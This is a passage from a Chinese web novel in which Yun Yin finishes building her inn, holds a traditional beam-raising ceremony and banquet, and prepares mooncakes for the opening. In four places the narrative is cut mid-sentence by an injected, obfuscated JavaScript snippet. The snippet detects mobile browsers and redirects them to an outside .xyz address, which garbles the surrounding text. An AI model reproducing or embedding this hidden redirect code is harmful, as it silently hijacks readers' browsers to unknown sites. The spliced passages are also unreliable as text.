乞巧节过后，整个七月仿佛顺风飞一样，云音之前种的水稻已经成熟，风吹过稻田，如同水浪一般起起伏伏，她叫来张林道：“一会儿临江村的村民和乐桃村的人回来帮忙割稻子，你招呼他们哈。” 张林应下，云音去厨房做些消暑的食物，之前她找傅望介绍的捕鱼人买鱼，去湖泊放养时，发现薜荔果已经熟了，她摘了一些果子，把里面的籽晒干，拿来做凉粉正适合。 云音去厨房看了一眼，揉搓的汁水已经凝固，碰一下颤颤巍巍，没有加料的凉粉是没有味道的，她取一份加了米醋和糖，酸酸甜甜，喝一口特别解暑。 另外一份她加了水果和糖，做成水果凉粉，另外提了一桶凉茶，和凉粉一起端到田里，对众人道：“你们渴了这里有喝的，自己过来拿哈。” 其中一村民道：“云娘子还是这么客气，村里人可羡慕我们能来给您干活，不仅工钱给的多，连吃的喝的也丰盛。” 云音看他们都吃起来，回了厨房继续准备午食。 稻子收完，她的客栈也快要建成，马上便要上梁了，云音没想到大昭也有上梁仪式，钱四找过来时，她正忙着。 等她忙过这一阵，她找钱四道：“钱工，您之前说的上梁仪式需要做什么？” 钱四道：“主要分五步，祭梁，上梁，接宝，抛梁，最后便是待匠。” 云音听完，觉得这个仪式与她小时候在村里看到的差不多，不过会更繁琐些，她那个时候只有挂红布和撒钱这一点，她还记得她抢到一毛钱，开心好久呢。 她认真记下，打算明日便去把这些东西买回来，她想到祭祀一般会用猪头，她问钱四：“需要猪头吗？若是需要，我便去找胡屠夫定一个猪头。” 钱四道：“有自然是最好，但是也可以用公鸡代替，一切看你的安排。” 云音想想后道：“那我去定一个猪头吧。”正好前几天给汪钰卤肉剩下的卤水，她还保存的很好，买个猪头回来卤了，祭祀完正好做成菜吃掉。 确定好要买的东西，云音也写好请帖，正好明日一起送给他们，这一次上梁仪式，也算开业前的预热，之前相熟的客人，还有一些朋友都邀请过来吃个饭，也暖暖房。 黄道吉日那天，云音早早便起来准备，今日可是她新屋落成之日，怎么认真对待都不为过。 她叫上郑桂兰，还有临江村的一些嫂子们，去厨房洗菜准备中午的饭食。这些嫂子听说她的房子要建成，一定要过来帮忙，好让她的上梁仪式办的热热闹闹，人气十足。 厨房里烟雾缭绕，热火朝天，嫂子们一边干活一边闲聊，云音见这些杂事用不上她插手，便去正屋布置房间去了。 其他工匠她打算在院子里招待，她请来的客人也不好让他们露天吃席，便给他们准备了正房的几大桌，方便他们闲谈。 当然他们之前也不是没在外面吃饭，她最开始只有一个饭摊时，除了谢彦外，其他人都在饭摊前吃过饭，后来天气热了，她又搭了个棚子，实在不愿在外吃的，她也把其中一个茅草屋整理出来，让他们去里面吃。 如今她的客栈建成，她也有更好的地方招待他们，自然也要好好布置一番。 上午时，她邀请的客人便一一到来，云音邀请他们先去厢房歇息，等上梁仪式结束后，再移坐正厅。 云音叫了傅望过来招呼这些人，又对罗蔓他们道：“你们自便，我去厨房了。” 罗蔓摆摆手道：“你去忙吧，我们自己会招呼自己。” 宋萱看看这一处厢房，里面只有他们几个认识的人，拉着谢彦道：“我们出去看看吧。” 谢彦无奈道：“外面这么热，待在这有冰的房间不好吗？干嘛要出去受热，你又不是没见过。” 宋萱抿抿嘴道：“我想看看，你去还是不去。” 谢彦陪笑道：“我去，走吧，你想看什么？” 这两人走了，屋里只剩下罗蔓和宋时林晖三人，林晖也不想在屋里待着，起身也出门了。 罗蔓也想出去看看，正要起身，听到宋时问：“阿蔓近来可好？” 罗蔓颔首道：“托郎君的福，一切都好。” “你族人还有找你麻烦吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382200|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋时迟疑片刻还是问出口道。 罗蔓摇头：“他们如今不再找我麻烦，宋郎君不必担心。”她见宋时还有话要说，她打断道，“郎君，我想去看看阿音妹子的屋子，便不多陪了，你自便。” 说完罗蔓提着裙摆踏出厢房，这间房瞬间只剩下宋时一人。 罗蔓走出厢房看了看，此时正房处正准备着祭梁工作，正屋旁边的厨房也人来人往，好不热闹，她也不知去哪里，只能从厨房旁的后面出来，一个人在田野里四处看看。 正走着，看到前面一个人正在水田里忙活，她眯了眯眼前叫住他问：“罗田，你最近有听话吗？没给阿音妹子惹麻烦吧。” 罗田回头看见是罗蔓，停下脚步道：“没有，我最近很努力，也很认真帮云娘子干活，你不用担心我了。” 罗蔓打量他神情，满意道：“既然你已经踏实做事，便要好好听云音的话，你也不想你娘再为你担忧吧，等你好好工作几年，婶娘也好给你说个亲。” 罗田认真听着，也不像从前那般桀骜，他道：“我知道，你们都是为我好，我会好好听云娘子话的。阿蔓姐，我要去给虾蟹喂食，就不与你多说了。” 罗蔓看着罗田离去的背影，心想云妹子真的很能调教人，曾经那样一个混混，如今也人模人样了。 知道罗田在这里很好，罗蔓也放心下来，此时也到了上梁时间，她立刻回去观看上梁仪式。 云音从厨房出来，此时的脊梁上已经贴了红纸，她把一早准备好的猪头和鸡鱼等祭品放到桌案上，与钱四一起上香祭拜敬酒，这一步也叫做祭梁，等祭梁完成，她退到后面，让工匠把这根正梁抬到屋脊上。 这时钱四需要在上面念祝福词，祝愿主人一切顺利安康。 一个工匠拿着托盘，里面装满瓜果点心红封，把它放到屋脊中间搭建的平台上，另外取一根红线绑住一个红布袋，里面放着红枣麦子等物，寓意红红火火，仓廪丰实。 然后钱四拿出一块红布，从托盘里各取一样瓜果点心包起来，从上抛到云音手里，接包也叫接宝，也是好的祝福，寓意接住财宝。 等云音把包袱放好，钱四已经进行最后一步抛梁，之前托盘里的点心瓜果，此时抛向东南西北四个方向，寓意着财源滚滚，而此时围观的人可以接这些抛下来的东西，很多小孩子来凑热闹，抢到一块点心便往嘴里喂，又去抢另一块点心。 傅望站在角落观望着，突然一个红色的红封在他眼前落下，他眼疾手快把这个红封抓住，云音好奇走过来问：“抢到多少？” 这次放的红封，云音没放多少钱，多是一文钱，只有几个里面放了六文钱和八文钱。 傅望不用拆便能知道，里面肯定不止一文钱，打开一看果然有八个铜板，他笑笑：“嗯，运气不错。” 云音道：“那确实不错。” 就在此时，一个小孩哈哈大笑起来，他插着腰道：“我抢到了六文钱。” 其他小孩儿一脸羡慕围着他道：“天啦，我才抢到一文钱。” 还没能他高兴一会儿，他娘从人群里挤过来道：“好了，把钱给我，我给你收着，以后再还给你。” 那小孩一脸不开心，顿时想要大声哭出来，她娘警告道：“今天可是云娘子的好日子，你别坏了喜气，赶紧跟我走。” 云音与傅望对视一眼，皆是无奈笑笑。 54. 第54间客栈 上梁仪式完成，云音邀请众人落座，正式开宴。 宴席主菜便是拿猪头卤的肉，每桌都上了一份，还有粉蒸肉、粉蒸排骨，酸菜鱼等等，这些云音卖的比较好的菜，她都有准备。 而食客那桌，她还准备了软兜长鱼、宋嫂鱼羹、酒酿清蒸鸭这些复杂的菜色，一是感谢他们这段日子以来的照顾，另外则是招揽生意啦。 汪钰看着桌上的菜色，郁闷道：“云娘子，你有这么多拿手菜，我过来吃饭，你都没给我做过。” 云音还没说话，桌上坐着的谢彦道：“你又没问过云娘子的拿手菜，你怎么能怪云娘子呢？” 沈容看了谢彦一眼：“汪钰是与云娘子说话，你何必着急上火。” 汪钰看着这两个坐在一起，便针尖对麦芒的两人，无奈叹气道：“我应该跟云娘子说一声，别把你们安排在一起。学业上你们争锋相对便罢了，怎么这种事情也要争一争？” 沈容看了汪钰一眼，没说话，谢彦也不再开口。 云音看看他们几人，回汪钰道：“之前那不是地方不够大吗？有些菜也没法做，今日也是特意让你们尝尝鲜，若是喜欢，可以找我预定，有两种宴席，一种五贯钱的，一种十贯钱的。” “五贯钱有十道菜，十贯钱有二十道菜，我过两日会把食单做出来，到时候你们可以预定。” 汪钰看向她问：“今日的菜都有吗？” 云音颔首道：“自然会有，还有一些比较麻烦的菜色，我今日没来得及做，你们可以看食单，上面有介绍。” 汪钰笑道：“我那等着云娘子的食单，一定要好好尝尝。” 云音上完菜，给他们介绍完，继续回厨房忙碌，傅望从外面走进来道：“阿音，你还在忙什么？不一起过去吃吗？” 云音：“你怎么也没去吃饭？” 傅望帮她收拾厨房，“我来帮你忙，之前都没能好好说说话，恭喜你房屋顺利建成。” 云音笑起来：“嗯，能有自己的房子，是真的开心。”这房子还是她辛辛苦苦赚钱挣来的，虽然还欠了罗蔓几十两，但好歹一切往好的方向发展，她相信自己很快能把钱还清。 傅望看着她开心的模样，也替她开心，他道：“你之前托我做的模具我帮你做好了，你什么时候看看，是不是你想要的样子。” 云音：“现在便去吧，我看看还需不需要再做些其他的。” 傅望从前面的茅草屋里拿出一个大篮子，里面摆满各种各有的模具，有文字福寿的模具，也有蔬果花卉的模具，当然其它吉祥的图案也不能少。 云音满意道：“还不错，你画的还不错，这双鱼很形象嘛。” 傅望笑笑：“简单的还成，复杂的我这边画不了，像嫦娥奔月这些图案，我都无法画出来，你只能找别人画好，我再帮你刻出来。” 云音颔首道：“我找人画，你到时候帮我做出来。” “没问题。”傅望看着这些模具道，“中秋不是还有半个月吗？这么早便准备糕点？” 云音道：“我打算在中秋前先开业，所以需要多准备些月饼，这些都要提前预备好。” 傅望：“嗯，我知道了，会提前给你做出来，不会耽误你的事情的。”他想想后道，“床和桌椅我都给你放在牛棚旁边的棚子里，你不忙了，可以跟我去看看。” 云音诧异道：“你这么快便做完啦？” 傅望有些不舍道：“是啊，毕竟中秋过后，我要出发了，所以这些我都提前做好了。” 云音擦桌子的手一顿，不舍道：“确实，我都快忘了，你还有自己的事情忙。” 这两个多月，她与傅望朝夕相处，有些习惯他一直存在，突然听到他要走，还真有些不舍，不过想到他回来或许能找到其他种子，她又开心起来。 “正好你走之前还能尝一尝你带回来的种子，前两天我去地里看了看，有些瓜已经成熟了，今日正好给大家尝尝鲜，看看我种的西瓜味道如何。” “没想到这么快已经成熟了。”傅望期待道，“想必你种的西瓜味道也会不错。” 云音摆手道：“你可千万别这么说，我哪里会种地，都是跟着现学的，张林做的都比我多，施肥除草大部分都是他做的，我只能跟着他学习。” 傅望却道：“那也是你慧眼识珠，张林和罗田都在你这里发挥着作用，也没亏待他们，不怪他们提起你都是一脸信服。” 云音：“难道你对你兄弟们不好，我可听说你与他们分成，这个镖局不仅是你的，也是他们的。” 傅望道：“我与他们都是生死之交，自然更加信任些，可你对他们确实很好，不仅工钱给的高，吃的也与你一样，你知道这有多难得吗？” 云音并不知道，她只知道她如今给的并不算多，至少在她那个时代待遇其实一般，连休息日都没有。不过她也没有休息日，做吃食生意就是这样，全年无休，不过她还是会在想休息的时候休息，他们也能跟着一起休息。 云音笑道：“他们觉得满意便好，如今我能提供的条件也只能这样，日后条件好了再说。” 与他说完，云音走到院子里，此时工匠已经吃的差不多，她和钱四打声招呼，走到水井旁，此时的水井已经可以使用，上面还盖了个木顶屋子，可以随时绑着水桶放下去，她也能冰镇很多食物。 她从水井里拿出木桶，里面放了好几个西瓜，这时的西瓜个头很小，远不及后来精心培育的瓜，她拿到厨房，用水果刀三两下把这几个瓜切开，瓜肉呈粉白色，瓜籽不仅密集还大，云音看着这瓜，抿抿唇道：“这瓜看起来不怎么样，也不知道吃起来如何。” 傅望伸头看了一眼道：“西瓜本就是这个样子的，吃起来味道还不错，我以前在西域吃过，挺甜的。” 云音半信半疑尝了一口，是有甜味，但与她以前吃过的瓜，味道差太远了，见傅望吃的很满意，她想可能这就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387644|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代差吧。 她端着瓜盘走到院子里，给钱四他们上了一大份，对他们道：“你们尝尝，是我自己种的瓜，若是你们觉得好吃，可以找我拿种子，你们以后也能自己种。” 她又递给张林和郑桂兰一份瓜，连一旁的方荷也没漏下，对郑桂兰道：“你也可以与你们村里的人说一声，让他们找我拿种子。” 郑桂兰接过西瓜，感激道：“多谢娘子，我会带到的。” 给他们都送完西瓜，云音给傅望留了一些，剩下的都拿到大厅，给他们每桌上了一份：“你们吃吃看，味道如何。” 罗蔓道：“妹子种的西瓜都能吃啦，我上次看的时候才刚开花呢。” 云音笑笑：“是啊，今年雨水较少，瓜长的还不错，结的也多，还有不少呢，你们吃完可以带几个回去。” 另一桌的客人立刻道：“那就多谢云掌柜了，今日的饭菜可太让我满意了，不知什么时候可以预定宴席？” 云音道：“等正式开业后，便能预定了。” “云娘子什么时候开业？” “再过十天便差不多了，到时候我会送请帖给你们的，开业当天有活动哦。” 那人好奇问：“是什么活动啊。” 云音笑笑：“等那天到了你就知道了。” 卖了个关子，云音见他们都吃好了，叫了宋时出来问：“宋郎君，我记得你会画画是吧。” 宋时：“云娘子怎么会知道？” “之前与静萱闲谈了解到的，不知宋郎君能否帮我画一副画。” 宋时好奇道：“云娘子想画什么？” “这不是中秋快到了，我想做点月饼，需要嫦娥奔月的图案，我也不认识会绘画的人，只能找你帮忙了。” 宋时沉思片刻后道：“嫦娥奔月图我能画，你打算画在哪里？” 云音叫来傅望，对二人道：“你们看看要如何画嫦娥奔月图，我打算做个大些的月饼。” 等他们二人商量起来，云音又叫来钱四道：“钱工，不知道你会不会建造烤炉，我打算在厨房旁边再建造一个烤炉，也方便我烤些东西。” 钱四想想后道：“这个很简单，我安排人一两天便能帮你做好。” 云音：“嗯，那就多谢钱工，不知建造这样一个炉子要多少钱？” “材料都是现成的，不用另外购买，你给些工钱便好。”他叫来几人道，“这几个都会建造炉子，你给他们一人五十文。” 一个人五十文确实不贵，四个人需要二百文，云音给他们讲了讲自己下需求，这几人一脸认真道：“云娘子放心吧，我们一定会帮你建好的。” 解决完烤炉的问题，云音就等着房子彻底建成，等把所有瓦片装好，刷完外墙，她的客栈也就彻底建成。 她正在计划之后该如何布置客栈时，外面走过来一个女子，是熟悉的人，云音上前问：“万娘子今日过来是夏小娘子有什么事吗？” 55. 第55间客栈 万乐巧行礼道：“实在抱歉，我们娘子今日无法前来，特意让我来给娘子送礼，也来问问云娘子的饭馆何时开业。” “夏小娘子还是这么多礼。”云音看着地上摆放的礼品，笑着道，“客栈会在中秋前几天开业，我这边会做好宴席食单，到时候给夏小娘子送一份过去，若是她有空，可以来玩。” 万乐巧应下道：“那我便不打扰云娘子了。” 云音叫住她，从厨房拿了个篮子出来：“这是我自己种的西瓜，你拿回去给夏小娘子尝尝，也是我的一番心意。” 万乐巧接过篮子道谢，转身离去。 云音送走万乐巧走到厢房，傅望和宋时二人还在讨论，她问：“怎么样，可以画吗？” 宋时点头道：“没问题，我画好后让寿儿给你送过来。” 云音表示没问题。 模具全部安排好，云音也要准备做月饼的馅料，最近天气惹，做的糕点不多，红豆沙和绿豆沙也没多少，这个需要重新做一点，很多月饼都需要这种馅料。 现在是吃莲子的季节，做一个莲蓉馅的月饼正合适，至于咸蛋黄，云音提前做了许多存着，拿出用便是，等做完月饼，她再做一批放着。 想到这里，云音也坐不住了，趁着这几天饭摊休息，她叫上张林去县里买东西，傅望见状道：“我跟你们一起去吧。” 他从后面赶了一辆马车出来，示意云音上车，“你们不是要买东西吗？租车多有不便，我带你们去。” 云音坐上马车问：“你怎么弄了一辆马车过来，你之前不一直是骑马的吗？” 傅望笑笑：“天气热起来了，还是坐马车比较好。”当然他并没有说实话，只是他想着有备无患，说不定云音能用上，果然这不就用上了，这些话他没告诉云音，不想让她有负担。 云音让张林把背篓篮子放到车里，她则坐在车辕上，好奇看着他的动作问：“赶车难吗？” 傅望见她跃跃欲试，把马绳递给她，“不算难，你连射箭都能很快学会，这个学起来不难的。” 这个月来，云音每日下午会抽空教方荷习武，她则跟着傅望学习箭术，一个月过去，她已经略有小成。听傅望这样说，她听从他的指挥，慢慢驾着车往县城走去。 她还不熟练，即便傅望在一旁照看，她也不敢加快速度，比平时晚了许久才到县城。 不过效果是显著的，走到县城时，她差不多已经掌握如何赶车，确实并不难，她眼睛弯成月牙儿，对傅望道：“我学会了，以后也能自己赶车了。” 傅望颔首道：“恭喜。”他让张林去寄存马车，对云音道，“我离开后，这辆车留在你饭馆吧，也能帮我照顾这匹马。” 云音抬头望他：“你不带着这匹马离开？” 傅望摇头道：“它年纪大了，不适合长途奔波，留在你这里我也放心，马车也留给你用，也不浪费。” 云音看着还崭新的马车道：“我给你租金如何？这样也不占你便宜。” 傅望佯装生气道：“我们还是不是好友，这点事你还要跟我客气吗？” 云音见他好似真的生气，连忙道：“哎，我不是这个意思，我只是……” 她话没说完，傅望拍拍她头道：“我知道，你只是不习惯欠人情，但这并不是欠我人情，明明是我拜托你帮我照看，是我欠你人情才是。” 云音被他说服，最后答应留下这辆马车，他们三人拿着背篓往集市去。 虽然还没到中秋，但此时街上的摊贩已经在为中秋节准备了，各种瓜果品目繁多，常见的石榴梨子有不少人卖，不常见的葡萄也有。云音上前问了价格，梨子不过两三文，石榴也不贵，她买了一些，至于葡萄不用买，每隔一旬，郑东便会给她送一背篓葡萄，够她店里用了。 云音正要继续往前逛，突然看到一个紫色的瓜，她定睛看去，果然是八月瓜，她询问摊主，“这瓜怎么卖的？” 那摊主讨好笑道：“娘子要买这瓜，很便宜，不过1文钱一斤。” 云音看着有些已经炸开的八月瓜，颔首道：“你这里的瓜我都要了。” 摊主卖的八月瓜本来也没多少，云音全部要了，他高兴道：“这就给您装上。” 云音把瓜装到篮子里，拿出一个已经炸开的瓜问：“你们要尝尝吗？” 傅望：“这瓜都是籽，我不喜欢。” 张林也赞同道：“娘子这都是些野果，你要吃可以去山里找，何必还要花钱买呢。” 云音拿一个吃起来，虽然都是籽，但确实童年的记忆啊，今天看到这瓜，怎么也要买一点尝尝。 她一口咬下，肉确实没多少，籽很多，但与记忆中的味道相差不大，并没有因为换了时空，这瓜有所变化，还是曾经的那个味道，香蕉的味道，味道也很甜，很好吃。 明明她小时候也不喜欢吃这瓜，嫌弃籽太多，如今倒是怀念这个味道。 她吃完手里多了一大把籽，她把这些籽收起来，到时候扔到山里，说不定那一年，那片山也能长一片八月瓜。 买完水果，他们去了干果店，买了一大包莲子，红枣等干果，要离开时，见到店家拿出一篮子橙子，她眼前一亮道：“掌柜，这橙子多少钱？” 掌柜看到是刚刚买了很多干果的客户，连忙殷勤道：“这水果卖的很贵的，我也是废了好大的劲才买回来的。” “我也不坑你，一个最少也要十文钱，若是您觉得贵，再过一段时间橘子上市，那个时候会便宜一些。” 十文钱一个确实挺贵的，不过她拿来做菜正好合适，她道：“给我来二十个吧。” 掌柜一看篮子里的橙子，总共也只有在这么多，干脆把篮子递给她道：“总共只有这些，你一起买了吧。” 云音见不差多少，把这一篮子橙子买下了，买完水果和干果，又去买了一大块火腿，转身去了木匠铺，定好所需东西，转身带着东西赶马车回家。 此时客栈已经全部完工，钱四见云音回来，招呼道：“云娘子，你来看看还有哪里不满意的，若是都可以，那我们的契约便完成了。” 云音站在刷好石灰的墙壁上看了看，洁白的墙体不染一丝尘埃，放眼看去在这一片地方分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394128|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外抢眼，她摸了摸墙壁，一点也不掉灰，她满意道：“我挺满意的，看起来一点都不像泥瓦房。” 钱四道：“这墙壁好好维护，十年都能保持完好，云娘子日后若是需要维护，也可以找我。” 云音颔首道：“我知道了，多谢你。”她里里外外都检查一遍，连最后砌好的烤炉她也看了看，见没什么问题，把剩下的钱递给他道，“那我们签契结书吧。” 签完契结书，云音把买回来的东西放到仓库，对傅望道：“我房子终于建好了。”她又指着大门旁的一个小房间道。“张林，这个房间是给你的。” 钱四说是只建了三间房，其实算上厨房仓库还有大门旁边的房间，总共是有六间房的。两边的厢房也很大，她把右边隔成5间房子，左边隔出两间房，一间做成大通铺，一间便是她住的房子了。 她带着傅望过来瞧她的屋子，左看右看都很满意，她笑道：“我也不用在住山里了。” 傅望看着这空荡荡的房间道：“正好，我之前给你的做的床也可以放进来了。” 云音颔首道：“要安置的东西还有很多，等我把月饼做完，我们来布置这些房间，距离开业还有好多准备呢。” 傅望问：“你取好名字了吗？” 云音郑重道：“自然，云来客舍这个名字如何？” “客似云来，不错的寓意，也暗含你的名字。” 云音：“是吧，我就觉得这个名字特别适合。” “那你牌匾有准备吗？”傅望想起她并没有让自己帮忙，好奇问，“你找谁做牌匾了？” 云音不好意思笑笑：“你最近不是很忙吗？除了要帮我做模具，也要准备出发的行李，我便找了县里的师傅做了，过两天就能送到。” 傅望道：“你有安排便好，县里的徐师傅手艺确实不错，你找他也不错。” 云音道：“这位师傅还是钱四推荐的，我看过他做的工艺，也很好。”她转了转眼珠道，“当然你做的也很好啦，我只是担心你太辛苦。” 傅望道：“我知道，你不用解释。” 看完房子，云音拿着东西进了厨房，把刚买的干莲子泡上，叫上傅望和张林，先把厨房布置好。 厨房的两个灶台连在一起，靠近正房那边，木柴已经整整齐齐摆放在灶台后方，生火时也方便加柴，另一边则摆放一张长长的桌子，平时切菜做面点都能在这里做，后面则摆着一排柜子，里面放着锅碗瓢盆，还一些珍贵的调料。 另一边的墙边则摆着一坛坛酸菜和黄豆酱，当然不是所有的酸菜和酱都在这里，还有一些她放在库房，这里放的是立即能用上的。 这些酱的上面则摆了一个架子，上面放着洗干净的瓜果蔬菜，炒菜时能快速使用。 云音几人把厨房布置完，又打扫干净，她看着整整齐齐的厨房，满满的成就感，她道，“好了，厨房弄完了，我去做月饼馅，你们可以去布置一下厢房的桌椅，其他被褥我明天找临江村的嫂子，帮忙赶制一些出来。” 让他们二人离开厨房，云音拿出泡好的莲子，打算先做莲蓉馅。 56. 第56间客栈 泡好的莲蓉去除外面的莲衣和莲心，若是不去掉莲衣，则可以做红莲蓉馅，不过这次云音要做的是白莲蓉馅，所以莲衣需要全部去除干净。 用手轻轻揉搓，这些泡过的莲衣便去掉了，云音把去除莲衣的莲子用清水洗后捞出来，继续处理莲心。 莲子的莲心非常苦，若是不去除，做出来的莲蓉馅也是苦的，这些莲心去掉后拿去晒干，日后可以泡茶喝，虽然喝起来苦苦，但非常下火。 莲衣和莲心全部去除，放入釜里煮开，把莲子煮熟后放到石磨里磨成糊状，之后再倒入釜里进行炒制，因为不能用铁锅炒，云音也没有铜锅，便只能用釜替代，虽然也能用，不过炒制的时间会更久。 小火慢慢炒制莲蓉，加入大豆油，等油被吸收，再多炒几次，继续加入大豆油，总共需要加入几次油，最后加入糖和麦芽糖，继续小火翻炒，直到莲蓉抱团为止。 傅望从厢房出来，闻到一股清甜的味道，他顺着味道进了厨房，看到云音制作好的馅料问：“这是你准备的月饼馅？看起来很好吃的样子，与我之前吃的糕点馅完全不一样。” 云音把炒好的莲蓉馅递给他一点，“你尝尝看，喜不喜欢。” 傅望吃下那点馅料，口感细腻甜润，吃起来还有一股莲子的清香，他诧异道：“这是用你之前买的莲子做的？” 云音颔首道：“不错，味道还可以吧，豆沙馅的也做，不过莲蓉的也不差，你们应该没有尝过这种口味。” 傅望又吃了一点莲蓉馅，点头道：“确实没尝过这种馅料，很好吃，一定会大受欢迎的。” 云音自然知道，现在做月饼，莲蓉馅是必不可少的，当然豆沙这种经典款的也不能缺，做完莲蓉馅，她继续去熬煮豆沙馅。 豆沙馅还是之前的做法，她一下午做了许多豆沙馅与莲蓉馅，除了做这两种馅，她还做了青红丝，这是做五仁月饼里必不可少的。 她还记得小时候吃月饼，最讨厌吃青红丝，也不喜欢里面硬硬的冰糖，但那个月饼是小时候唯一能吃到的月饼，所以记了好多年，后来有其他选择后，再也没吃过五仁月饼了。 也是有一年她自己做五仁月饼，发现里面的馅其实挺香的，特别是各种果仁的味道咬起来，很香醇，那青红丝也没想象中的难吃。 传说曾经的青红丝是用青梅和玫瑰丝制作而成，她倒是有青梅，但是没有玫瑰，只能用后来大家常用的橙子皮来制作。 洗好切成丝的橙子皮用碱水浸泡，去除苦涩味后用红曲粉染成红色，然后加糖熬煮后，晒干便得到红丝，至于青丝则还是用青梅蜜饯，这个她在干果店也买了不少，直接切丝晒干后使用。 做完这两种馅，便可以做准备月饼皮了。 她这次做的是苏式月饼，皮层酥松，一咬能掉好多皮，她小时候吃的便是这种月饼，今日也打算做这种月饼。 制作苏式月饼最主要的便是做水油皮和油酥，面粉里加入猪油和水揉成面团，这样做出来的便是水油皮，不放水只加入猪油，做出来的便是油酥。 然后用水油皮包裹住油酥，重新擀成条状，分成一个个小剂子，苏式月饼皮就准备好了，然后包入准备好的馅料，把面团放到模具中按压。 云音看着印着荷花纹的莲蓉月饼，接着又做了字纹的豆沙馅，至于五仁馅要另外做。 五仁月饼里的五种果仁各有各的不同，传统配方是用核桃仁、杏仁、橄榄仁、瓜子仁、芝麻仁这五种坚果制作，其实市面上的很多五仁用的也不是这五种坚果，有用花生的，还有用其他的，云音小时候吃的酥皮五仁月饼里用的便是花生。 但大昭没有花生，也没有橄榄仁，她便替换成松子仁，味道也是一样好吃。 坚果烤香后去皮碾碎，与糖、油、炒熟的面粉拌匀，然后加入青红丝，揉捏成团，五仁馅便做好了。 把这个馅也用油皮包起来，放入模具中按压，做好的月饼摆放在桌子的一角，白白嫩嫩，一看便很可口。 傅望拿着做好的嫦娥奔月进来时，看到的便是摆得整整齐齐的糕点，他问道：“云娘子，这就是你说的月饼？之前听你说起，我还以为就是普通糕点，原来这就叫月饼，是你们家乡特色吗？” 云音颔首道：“是啊，我们家乡中秋都要吃月饼的，意味着团团圆圆，也是个美好的祝愿吧。” 她知道大昭是没有吃月饼的习俗，他们也不会有盛大的庆典庆祝中秋，但是他们会赏月，欣赏乐舞，所以云音开业前举办活动，也能吸引人前来庆贺。 云音把做好的月饼放入烤炉中，等上一段时间，烤熟后即可出炉，冷透后取下月饼，她拿了一个五仁月饼尝了尝，酥酥脆脆，一咬便有酥皮掉下，果然是她小时候的味道。 她分给傅望他们，“你们也吃一个吧。” 傅望接过小小的月饼，上面印着五仁二字，他之前还不懂这是什么意思，如今看到这月饼，才知道原来是说的月饼的馅料。 他把这个小巧的月饼放入嘴里，坚果的香脆与冰糖的颗粒碰撞，里面不知是什么果脯融入其中，解了果仁的油腻感，酥皮一咬掉下层层碎屑，真的非常独特。 傅望觉得这点心非常好吃，又拿了一个月饼放到嘴里，香甜的味道久久不散，让他沉迷其中。 除了五仁月饼，莲蓉月饼也很好吃，他把所有月饼都尝了一遍，赞不绝口道：“这个点心肯定能大卖，真的很好吃。” 张林在一旁连连点头道：“没错，确实很好吃，云娘子，绝对很多人抢着买的。” 郑桂兰也表示赞同，她身旁的方荷吃的满嘴都是，她看见赶紧帮忙擦掉，对云音道：“云娘子，我觉得我们要多准备些，不然这这些可不够卖。” 云音颔首道：“客舍开业，我打算办一个活动，来的人都可以领一个月饼，中秋前，我们便主要卖这些月饼。” “要送多少啊？”张林不舍道，“全部送出去，也太多了吧。” 云音笑笑：“当然不是所有月饼都送，我只打算送豆沙馅的，若是想要其他馅的，可以猜字谜，猜中的便能得到其他馅的月饼。当然不想猜字谜也可以购买，我会准备其他馅料的月饼，并不止这几种。” 傅望颔首道：“这样的活动不错，可以邀请周边县学的学子来参加，阿音不是也想做他们的生意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401262|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？这次便是个好机会。” 云音：“没错，所以我们要忙起来了，这两天辛苦你们，多做些月饼吧。” 郑桂兰和张林异口同声道：“没问题，云娘子，你就放心吧。” 翌日一大早，云音开始准备做月饼，今天除了要做莲蓉馅、豆沙馅与五仁月饼外，她还打算做蛋黄月饼以及火腿月饼。 这两种月饼也是她很喜欢的馅料，蛋黄配莲蓉，或者蛋黄配豆沙，风味与单纯的莲蓉、豆沙完全不同，咸咸的蛋黄中和了莲蓉和豆沙的甜腻，沙沙的口感充斥口中，她可喜欢咸蛋黄的口感了。 